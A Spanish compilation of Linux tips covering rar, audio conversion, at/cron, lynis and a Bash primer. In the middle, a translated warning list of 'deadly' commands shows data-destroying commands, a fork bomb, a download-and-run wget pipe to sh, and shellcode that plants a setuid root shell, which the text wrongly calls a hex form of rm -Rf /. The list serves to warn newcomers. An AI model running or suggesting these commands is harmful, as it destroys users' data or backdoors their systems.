la sintaxis

rar a -v(tamaño)m nombre archivo

o bien:

rar a -v(tamaño)g nombre archivo

poniendo m o g, dependiendo si se quieren obtener megas o gigas

si se quiere comprimir con contraseña, añadiremos -p(contraseña) de forma que quedaria mas o menos asi:

rar a -v1g -pmipass nombrepartes archivoacomprimir

en este ejemplo se comprimirá el archivo “archivoacomprimir” en varios volumenes de 1 g cada uno, con el password mipass, y cada parte se llamara “nombrepartes.part1.rar”, “nombrepartes.part2.rar”, …

espero sea de utilidad

saludos

Si bien existen programas gtk que realizan la misma acción, todos esos son GUI’s de programas que se ejecutan en una terminal (ffmpeg, timidity, lame), por eso, como el teclado no muerde, les presento la forma de convertir formatos de audio mediante consola.

Antes de continuar deberíamos instalar los siguientes programas:
# aptitude install ffmpeg timidity lame

Antes de comenzar a realizar las conversiones voy a hacer algúnas aclaraciones “técnicas” con los parámetros de ffmpeg, lame y timidity. Si bien no son necesarios, ya que si no se aplican el archivo de salida va atener los mismos atributos que el de entrada, son útiles para enriquecer/empobrecer la calidad de la pista de audio, como así también para cambiar de mono a estereo o vicebersa.

El parámetro -ar (en ffmpeg) y -s (en timidity) corresponde a la frecuencia de muestreo y el valor mínimo es de 8000 hz, una calidad algo baja para archivos de audio.A continuación expreso algúnos valores (obtenidos de la WIkipedia) para que se guíen:

8000 hz: adecuado para la voz humana pero no para la reproducción musical.

22050 hz: adecuado para cd, vcd, svcd y archivos de audio.

48000 hz: adecuado para audio profesional (DVD y televisión digital).

96000 ó 192400 hz: adecuado para DVD y Blue-Ray.

El parámetro -ab (en ffmpeg) y -b (en lame) corresponde a la tasa de bits (bitrate) y los valores adeccuados para audio son los siguientes:

128 kbit/s: calidad satisfactoria para audio.

192 kbit/s: calidad buena para audio, muy utilizado en cd.

320 kbit/s: calidad máxima para audio.

El parámetro -ac (en ffmpeg) corresponde a la cantidad de canales de la pista de audio. Para mono el valor es 1, para estereo 2.

Con esto aclarado podemos comenzar a especificar como convertir formatos.

MP3 a MP3

Esto sirve para bajar la calidad a la pista de audio.
$ lame -b 64 archivo_origen.mp3 archivo_modificado.mp3

MP3 a AMR

Instala lo siguiente para poder llevar a cabo la conversión:
# aptitude install amr amr_wb

Ahora si, para convertir:
$ ffmpeg -i archivo.mp3 -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k archivo.amr

MP3 a OGG
$ ffmpeg -i archivo.mp3 archivo.ogg

MP3 a WAV
$ ffmpeg -i archivo.mp3 archivo.wav

MP3 a WMA
$ ffmpeg -i archivo.mp3 archivo.wma

WMA a MP3
$ ffmpeg -i archivo.wma archivo.mp3

WAV a MP3
$ ffmpeg -i archivo.wav archivo.mp3

AMR a MP3
$ ffmpeg -i archivo.amr -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k archivo.mp3

MIDI a WAV
$ timidity -Ow -s 44100 -o archivo.wav archivo.mid

MIDI a OGG
$ timidity -Ow -s 44100 -o archivo.ogg archivo.mid


Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:(){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.

Fuente

at

La utilidad at nos permite ejecutar tareas a una determinada hora. Si no la tenéis en el sistema, basta con instalar el paquete at de la manera estándar.

Por ejemplo, vamos a programar que aparezca el eye-of-gnome a las 12:05. Para ello, ejecutamos en un terminal el comando at, indicando a continuación la hora a la que debe comenzar la tarea. Como veréis, aparece un prompt en el que indicaremos las tareas que queremos que se ejecuten, una por línea. Para salir del prompt, hay que pulsar Ctrl+D. Aparecerá un mensaje confirmando la hora y el número de la tarea (job).

$ at 12:05
warning: commands will be executed using /bin/sh
at> eog
at>
job 2 at Fri Oct 17 12:05:00 2008

A menudo, lo que queremos es ejecutar varias tareas, pero en un orden secuencial, no todas a la vez (vamos, lo que viene siendo un script). Suponiendo que queramos ejecutar mistareas.sh, haremos lo siguiente:

$ at -f miscript.sh 13:45
warning: commands will be executed using /bin/sh
job 4 at Fri Oct 17 13:45:00 2008

También se podría poner miscript.sh como una tarea en el modo interactivo del prompt, siempre y cuando tenga los permisos adecuados de ejecución.

Cabe destacar que con at, las tareas quedan programadas para una sola vez, y se borran después de ejecutarse. Es decir, al día siguiente no volverán a ejecutarse.

Si queremos borrar una tarea que tenemos programada, debemos conocer primero su número (el que sale al programarla). Para borrarla, utilizamos atrm. Si no conocemos el número de la tarea o lo hemos olvidado, podemos consultar las tareas programadas con la opción -l:

$ at -l
4 Fri Oct 17 13:45:00 2008 a nacho
$ atrm 4
$ at -l
$

cron

Cron es una herramienta que permite la ejecución de tareas periódicamente en varios intervalos: horario, diario, semanal y mensual. Su utilización es más sencilla que la de at: Basta con guardar el script que queramos ejecutar (éste no tiene modo interactivo) en el directorio correspondiente a cuándo queremos que se ejecute.:

• Cada hora: /etc/cron.hourly/
• Cada día: /etc/cron.daily/
• Cada semana: /etc/cron.weekly/
• Cada mes: /etc/cron.monthly/

Esta simplificación de uso es específica de Debian (y derivados quizá). Aunque la funcionalidad es posible conseguirla en otras distribuciones, no es tan sencillo (y puede que los directorios mencionados no existan).

Para saber exactamente cuándo se van a ejecutar las tareas, echamos un vistazo al fichero /etc/crontab. Éste es el mío:

# m h dom mon dow user  command
 17 *  *   *   *  root    cd / && run-parts --report /etc/cron.hourly
 25 6  *   *   *  root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
 47 6  *   *   7  root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
 52 6  1   *   *  root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Las columnas indican lo siguiente:

• m = minute (minuto)
• h = hour (hora)
• dom = day of month (día del mes)
• mon = month (mes)
• dow = day of week (día de la semana)

Por lo tanto, mi crontab indica que:
- Las tareas “horarias” se ejecutarán en el minuto 17 de cada hora.
- Las tareas diarias se ejecutarán a las 6:25
- Las tareas semanales se ejecutarán el séptimo día de la semana, a las 6:47 (0 y 7 indican Domingo, 1 es Lunes, etc…)
- Las tareas mensuales se ejecutarán el día 1 de cada mes, a las 6:52

Fuente

1. Descomprimimos la utlidad:

# wget http://www.rootkit.nl/files/lynis-1.1.7.tar.gz
# tar zxfv lynis-1.1.7.tar.gz

2. Ejecutamos la aplicacion:

# cd lynis-1.1.7

# ./lynis –check-all

Con esto comenzamos la auditora de nuestro sistema, acontinuacion vamos a dar algunos titulos de los analisis:

[+] Boot and services
[+] Kernel
[+] Memory and processes
[+] Users, Groups and Authentication
[+] Shells
[+] File systems
[+] Ports and packages
[+] Networking
[+] Printers and Spools
[+] Software: e-mail
[+] Software: firewalls
[+] Software: webserver
[+] Databases
[+] LDAP Services
[+] Software: PHP
[+] Software: Malware scanners
[+] System Tools
[+] Home directories
[+] Logging and files
[+] Banners and identification
[+] Scheduled tasks
[+] Accounting
[+] Time and Synchronization
[+] Cryptography
[+] Virtualization
Veamos una captura de pantalla de la utilidad:

Aqui vemos el reporte que nos entrego al analizar uno de los equipos del staff:

Fuente

Que es Bash ??
Bourne-Again SHell (otro shell bourne) Haciendo un juego de palabras (born-again significa renacimiento) sobre el Bourne shell (sh), que fue uno de los primeros intérpretes importantes de Unix. Hacia 1978 el shell Bourne era el shell distribuido con el Unix Version 7.

Stephen Bourne, por entonces investigador de los Laboratorios Bell, escribió el shell Bourne original . Brian Fox escribió el shell bash en 1987. En 1990, Chet Ramey se convirtió en su principal desarrollador. BASH es el shell por defecto en la mayoría de sistemas GNU/Linux, además de Mac OS X Tiger, y puede ejecutarse en la mayoría de los sistemas operativos tipo UNIX. También se ha portado a Microsoft Windows por el proyecto Cygwin. Es un Interprete de comandos. no necesita compilar

Stephen Bourne, por entonces investigador de los Laboratorios Bell, escribió el shell Bourne original . Brian Fox escribió el shell bash en 1987. En 1990, Chet Ramey se convirtió en su principal desarrollador. BASH es el shell por defecto en la mayoría de sistemas GNU/Linux, además de Mac OS X Tiger, y puede ejecutarse en la mayoría de los sistemas operativos tipo UNIX. También se ha aportado a Microsoft Windows por el proyecto Cygwin.

Como encontrarlo ??

Aplicaciones -> accesorios -> Terminal
Tecleamos:

im@Bucio-Ju4×0r:~$ locate bash

Para ser mas exactos:

im@Bucio-Ju4×0r:~$ which bash
/bin/bash

Que necesito saber antes de crear mi primer script?

1. Editor de texto, gedit, vim etc..
2. Comandos Básicos Unix.
3. Ganas de aprender :D.

Comandos Basicos

* Cambiar el directorio de trabajo (change directory):
$ cd
* Listar el contenido de directorios (list):
$ ls
* Crear un directorio (make directory):
$ mkdir
* Borrar un directorio (remove directory):
$ rmdir
* Copiar un archivo o directorio en el directorio especificado (copy):
$ cp
* Mover un archivo o directorio a un archivo o directorio. Se utiliza también para renombrar; el origen y destino es un archivo (move):
$ mv
* Borrar archivos o directorios (remove):
$ rm <opciones> <archivo>
* Mostrar por pantalla el contenido de los archivos por la salida estándar. Si no se especifica ningún archivo, la orden repite todo lo que se ha escrito por la entrada estándar. Para indicar que se ha acabado de escribir hay que pulsar CTRL+D.
$ cat
* Buscar archivos recorriendo árboles de directorios especificados por las rutas, evaluando de izquierda a derecha las condiciones de búsqueda. Además se pueden especificar acciones sobre los resultados obtenidos:
$ find
* Mostrar el nombre del directorio en el que uno se encuentra situado (print working directory). Se dice que ese directorio es el directorio de trabajo:
$ pwd
* Cambiar los permisos de el archivo.
$chmod <PERMISOS> <ARCHIVO>
*Sacar por la salida standard (la pantalla) lo que se le pasa por parámetro, puede ser texto o una variable
$echo Hola echo hola > hola.txt

Estructura.

#!/bin/bash #! Se conoce con el nombre de Sha Bang.
/bin/bash Lo que vamos a usar ya sea bash o perl (/usr/bin/perl)
#
# Esto es un comentario
#
comando
comando
comando
…..

HOLA MUNDOOO

#!/bin/sh
echo ”Hola Mundo, cruel :’(”

EJECUTANDO EL SCRIPT.

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$ chmod -x hola.sh
im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$ ./hola.sh
Hola Mundo, cruel
im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$

REDIRECIONES.
Existen 3 descriptores de ficheros:
stdin, stdout y stderr (std=estándar).

En los ejemplos :
El número 1 representa a stdout, y 2 a stderr.

REDIRRECIONES

Esto hará que la salida de un programa se escriba en un fichero.
stdout a un fichero

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$ ls -l > ejemplols-l.txt

Esto hará que la salida stderr de un programa se escriba en un fichero.
stderr a un fichero

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$ grep da * 2> errores-grep.txt

Esto hará que la salida stdout de un programa se escriba en el mismo descriptor de fichero que stderr.
stdout a un stderr
En este caso, la parte stdout del comando se envía a stderr.

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$ grep da * 1>&2

Esto hará que la salida stderr de un programa se escriba en el mismo descriptor de fichero que stdout.
stderr a stdout.
En este caso, la parte stderr del comando se envía a stdout

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$grep * 2>&1

TUBERÍAS

Las tuberías le permiten utilizar la salida de un programa como la entrada de otro.

enlista | entuba en sed e imprime en pantalla, todo con solo U =)

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$ ls -l | sed -e “s/[aeio]/u/g”
tutul 524
-rwxr-xr-x 1 um bucuu 251 2008-04-26 04:25 ulurmu.sh
drwxr-xr-x 2 um bucuu 4096 2008-04-26 19:45 bush
-rw-r–r– 1 um bucuu 142551 2008-04-26 02:46 Bush.udp
-rw-r–r– 1 um bucuu 0 2008-04-26 12:28 urrurus-grup.txt
-rwxr-xr-x 1 um bucuu 55 2008-04-26 10:44 fururur.sh
drwxr-xr-x 2 um bucuu 4096 2008-04-24 18:16 umg
-rw-r–r– 1 um bucuu 129 2008-04-17 02:37 lul.sh~
-rw-r–r– 1 um bucuu 78 2008-04-13 09:35 numbru.sh~
-rw-r–r– 1 um bucuu 42207 2008-04-13 09:02 Puntulluzu-76.png
-rw-r–r– 1 um bucuu 313771 2008-04-26 02:48 prugrumucuununbush08.pdf
im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$

En este caso, la salida del programa ls -l se envía al programa grep, que imprimirá las líneas que concuerden con la regex (expresión regular) “\.txt$”

im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$ ls -l | grep “\.txt$”
-rw-r–r– 1 im bucio 0 2008-04-26 12:28 errores-grep.txt
im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$

EMPEZANDO CON LOS SCRIPTS.

Después de mostrar los comandos básicos y tuberías empece con la acción

VARIABLES

#!/bin/sh
nombrevariable=valor #<– declarando variable normal
nombrevariablecomando=’comando’ #<– declarando variable con valor de comando
echo $nombrevariable #<– mandando a llamar variable

VARIABLES INTRODUCIDAS POR EL TECLADO

Script nombre.sh
#!/bin/sh
echo ”hola como te llamas”
read nombre

Script read.sh
#!/bin/sh
echo ”hola como te llamas”
read nombre
echo ”Hola $nombre”

COMANDO READ
-n num_car : Número máximo de caracteres que puedes introducir por teclado
-p “frase” : Te muestra por pantalla una frase para, saber que debes introducir
-d “delimitador” : Especificas cual va a ser el delimitador, es decir si dices que el delimitador sera “;” pues todo lo que venga antes de un “;” lo cogerá una variable y todo lo que venga después de ese delimitador hasta el próximo “;” lo cogerá otra variable

read [opciones] nombre_variable1 nombre_variable2 nombre_variableN
read -p “Introduce el nombre y los apellidos” nombre apellidos

Condiciones, Operadores….

OPERADORES RELACIONALES ARITMÉTICOS
-lt (<)
-gt (>)
-le (<=)
-ge (>=)
-eq (==)
-ne (!=)

OPERADORES ARITMETICOS
+ (adición)
- (sustracción)
* (producto)
/ (división)
% (módulo)

CONDICIONES, BUCLES, CICLOS..
( If – Then )
( While )
(UNTIL)
( FOR )

IF

if [condición]
then
lista de comandos
else
lista de comandos2
fi

Script ifvariable.sh
#!/bin/bash
echo ‘ Adivina el valor numerico de la variable’
read A
if [ $A = 1 ]
then
echo ‘Acertaste’
exit 0
fi
echo ‘No acertaste’
exit

Script ifelse.sh
#!/bin/bash
echo Cual es tu Edad
read edad
if [ $edad -ge 18 ]; then
echo eres mayor de edad
else
echo eres menor de edad
fi

FOR
El bucle for es distinto a los de otros lenguajes de programación. Básicamente, le permite iterar sobre una serie de `palabras’ contenidas dentro de una cadena.

SCRIPT for.sh
#!/bin/bash
for i in $( ls ); do
echo item: $i
done

En la segunda línea declaramos i como la variable que recibirá los diferentes valores contenidos en $( ls ).
‘done’ indica que el código que ha utilizado el valor de $i ha acabado e $i puede tomar el nuevo valor.

WHILE
El bucle while ejecuta un trozo de códico si la expresión de control es verdadera, y sólo se para cuando es falsa (o se encuentra una interrupción explícita dentro del código en ejecución).

while [ condición ]; do
…
done

Script tabla.sh
#!/bin/bash
echo -n Que tabla de multiplicar desea ver
read numero
contador=1
while [ $contador -le 10 ]; do
let multi=$numero*$contador
echo $numero*$contador = $multi
let contador=$contador+1
done

let lo que hace es evaluar arithmeticamente la expresion que sigue.

UNTIL
El bucle until es casi idéntico al bucle loop, excepto en que el código se ejecuta mientras la expresión de control se evalúe como falsa.

script until.sh
#!/bin/bash
CONTADOR=20
until [ $CONTADOR -lt 10 ]; do
echo CONTADOR $CONTADOR
let CONTADOR-=1
done

FUNCIONES

Como en casi todo lenguaje de programación, puede utilizar funciones para agrupar trozos de código de una manera más lógica, o practicar el divino arte de la recursión.

Declarar una función es sólo cuestión de escribir
function mi_func { mi_código }.

script funcion.sh
1 #!/bin/bash
2 function salir {
3 exit
4 }
5 function hola {
6 echo Hola
7 }
8 hola
9 salir

script funcionvariable.sh
#!/bin/bash
function salir {
exit
}
function e {
echo $1
}
e Hola
e Mundo
salir

SELECT
El sueño de un programador para hacer menús basados en texto.
Muy similar a la construcción ‘for’, sólo que en vez de interar para cada ‘palabra’ en $OPCIONES, se lo pide al usuario.

script menuselect.sh
#!/bin/bash
OPCIONES=”Hola Salir”
select opt in $OPCIONES; do
if [ "$opt" = "Salir" ]; then
echo done
exit
elif [ "$opt" = "Hola" ]; then
echo Hola Mundo
else
clear
echo opción errónea
fi
done

BASH EN OTROS LENGUAJES

PERL
#!/bin/bash
#Llamando a un interprete externo a BASH
echo ‘El siguiente texto será mostrado por el interprete de PERL’
perl -e ‘print “Este texto es mostrado por un script PERL embebido.\n”;’
exit 0

PYTHON
#!/bin/bash
#Llamando al interprete de Python.
echo ‘El siguiente es un script de python:’
echo print “Hola, mundo!” | tee $HOME/.testpythonbash.py
python $HOME/.testpythonbash.py
exit 0

Referencias:

http://martinezcampuzano.blogspot.com/2007/08/programacion-en-bash.html
http://es.wikibooks.org/wiki/El_Manual_de_BASH_Scripting_B%C3%A1sico_para_Principiantes
http://www.guia-ubuntu.org/index.php?title=Terminal
http://buntulug.com.ar/wiki/Tutorial_de_Bash
http://es.tldp.org/COMO-INSFLUG/COMOs/Bash-Prog-Intro-COMO/

Fuente